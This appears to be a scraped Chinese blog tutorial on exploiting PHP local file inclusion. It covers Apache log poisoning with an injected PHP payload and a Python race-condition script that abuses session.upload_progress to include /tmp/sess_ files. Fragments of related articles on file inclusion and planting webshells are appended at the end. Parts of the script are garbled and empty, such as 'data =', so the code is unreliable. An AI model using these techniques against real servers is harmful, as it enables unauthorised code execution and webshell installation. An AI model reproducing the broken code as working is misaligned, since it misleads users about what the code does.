檔案包含漏洞之日誌利用

2021-10-03 20:29:19 字數 2558 閱讀 8772

apache日誌

某php檔案存在本地檔案包含漏洞,但無法上傳檔案,此時可以找到apache路徑,利用包含漏洞包含apache日誌檔案也可以獲取webshell

apache執行後一般缺省會生成兩個日誌檔案,這兩個檔案是access.log(訪問日誌)和error.log(錯誤日誌),apache的訪問日誌檔案記錄了客戶端的每次請求及伺服器響應的相關資訊。

127.0.0.1 - - [02/dec/2019:22:18:29 +0800] "get /wampthemes/classic/img/giflogo.gif http/1.1" 200 3525當訪問乙個不存在的資源時,apache日誌同樣會記錄 例如訪問

<?php phpinfo();?>。apache會記錄請求「<?php phpinfo();?>」,並寫到access.log檔案中,這時候去包含access.log就可以利用包含漏洞

但並不能直接利用,原因是直接訪問url後,一句話木馬在日誌檔案中被編碼了 需要通過burpsuite攔截直接訪問

<?php phpinfo();?> 就能生成包含一句話木馬的access.log檔案

利用session.upload_progress進行檔案包含利用

php.ini中有以下預設配置

1. session.upload_progress.enabled = on 

//當瀏覽器向伺服器上傳乙個檔案時,php將會把此次檔案上傳的詳細資訊(如上傳時間、上傳進度等)儲存在session當中

​2. session.upload_progress.cleanup = on

//檔案上傳完成後,session檔案內容立即清空

​3. session.upload_progress.prefix = "upload_progress_"

//prefix+name將表示為session中的鍵名

​4. session.upload_progress.name = "php_session_upload_progress"

//當它出現在表單中,php將會報告上傳進度,最大的好處是,它的值可控

​5. session.auto_start=off

//若為on則php在接收請求的時候會自動初始化session,不再需要執行session_start()

​6. session.use_strict_mode=0

//表示我們對cookie中sessionid可控

在預設配置下利用,**中沒有session_start()。 我們在cookie裡設定phpsessid=test,php將會在伺服器上建立乙個檔案:/tmp/sess_test」。即使此時使用者沒有初始化session,php也會自動初始化session。 並產生乙個鍵值,這個鍵值有ini.get(「session.upload_progress.prefix」)+由我們構造的session.upload_progress.name值組成,最後被寫入sess_檔案裡 。但由於session.upload_progress.cleanup = on 導致檔案上傳後,檔案內容立刻被銷毀,這時可以利用條件競爭方式去利用漏洞

#coding=utf-8

​import io

import requests

import threading

sessid = "test"

data =

def write(session):

while true:

f = io.bytesio(b'a' * 1024 * 50)

resp = session.post("1.php",data=,files=, cookies=)

def read(session):

while true:

resp = session.post('1.php?file=..\\tmp\\sess_'+sessid,data=data)

if "test.txt" in resp.text:

print(resp.text)

event.clear()

else:

print("[+++++++++++++]retry")

if __name__=="__main__":

event=threading.event()

with requests.session() as session:

for i in xrange(1,30):

threading.thread(target=write,args=(session,)).start()

for i in xrange(1,30):

threading.thread(target=read,args=(session,)).start()

event.set()

檔案包含漏洞利用

一 檔案包含漏洞初步 1.原理 在通過php的相應函式 比如include request 666 引入檔案時,由於傳入的檔名沒有經過合理的校驗,從而操作了預想之外的檔案,就可能導致意外的檔案洩露甚至惡意的 注入。666 c windows system32 dirvers etc hosts 2....

web滲透 檔案包含漏洞利用

1 讀取敏感檔案 利用檔案包含漏洞讀取任意檔案,讀取檔案的時候有利用條件 目標主機檔案存在 目標檔案的絕對路徑,相對路徑 具有檔案的可讀許可權 提交引數 絕對路徑 path c 路徑 嘗試相對路徑 path 路徑 2 直接包含木馬 將木馬資訊寫入附加資訊中 使用菜刀連線 3 包含木馬寫shell 我...

檔案包含漏洞

簡單的來說,就是我們用乙個可控的變數作為檔名並以檔案包含的的方式呼叫了它,漏洞就產生了。以php為例檔案包含漏洞可以分為rfi 遠端檔案包含 和lfi 本地檔案包含漏洞 兩種。而區分他們最簡單的方法就是php.ini中是否開啟了allow url include。如果開啟了可能包含遠端檔案,如果不是...